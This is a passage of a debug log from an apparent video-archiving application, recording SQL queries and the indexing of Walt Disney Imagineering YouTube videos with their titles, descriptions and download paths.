\u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", nil, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, 2, ~U[2025-10-06 00:00:00Z]] 18:55:27.721 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:27.721 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:27.722 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2048] 18:55:27.722 [debug] Current batch of media processed. Will check again in 1000ms 18:55:28.723 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", "id" => "qtQIUvTH738", "original_url" => "https://www.youtube.com/watch?v=qtQIUvTH738", "playlist_index" => 18, "title" => "Drawing & Watercolor Painting with a Disney Imagineer", "upload_date" => "20250929"} 18:55:28.723 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:28.723 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:28.724 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 00:00:00Z], 2] 18:55:28.726 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "cfb9fc5b-d68f-4b2e-9f2b-e832dd7bd898", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, false, 18, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, false, 2, [], 98, ~U[2025-09-29 00:00:00Z], ~U[2026-03-30 22:55:28Z], ~U[2026-03-30 22:55:28Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", nil, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, 2, ~U[2025-09-29 00:00:00Z]] 18:55:28.726 [debug] QUERY OK source="sources" db=0.1ms idle=121.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:28.726 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:28.727 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1942] 18:55:28.727 [debug] Current batch of media processed. Will check again in 1000ms 18:55:29.728 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", "id" => "2h_2wZM2YeA", "original_url" => "https://www.youtube.com/watch?v=2h_2wZM2YeA", "playlist_index" => 19, "title" => "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "upload_date" => "20250922"} 18:55:29.729 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:29.729 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.730 [debug] QUERY OK source="media_items" db=0.6ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 00:00:00Z], 2] 18:55:29.736 [debug] QUERY OK source="media_items" db=5.3ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "441cc909-faf5-4b82-96aa-b98f1b115840", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, false, 19, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, false, 2, [], 98, ~U[2025-09-22 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", nil, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, 2, ~U[2025-09-22 00:00:00Z]] 18:55:29.736 [debug] QUERY OK source="sources" db=0.2ms idle=131.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.737 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:29.737 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1850] 18:55:29.738 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "filename" => "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", "id" => "YLZlSxFU1rE", "original_url" => "https://www.youtube.com/watch?v=YLZlSxFU1rE", "playlist_index" => 20, "title" => "How do Disney Imagineers make mountains? | Imagineer That!", "upload_date" => "20250915"} 18:55:29.739 [debug] QUERY OK source="sources" db=0.2ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 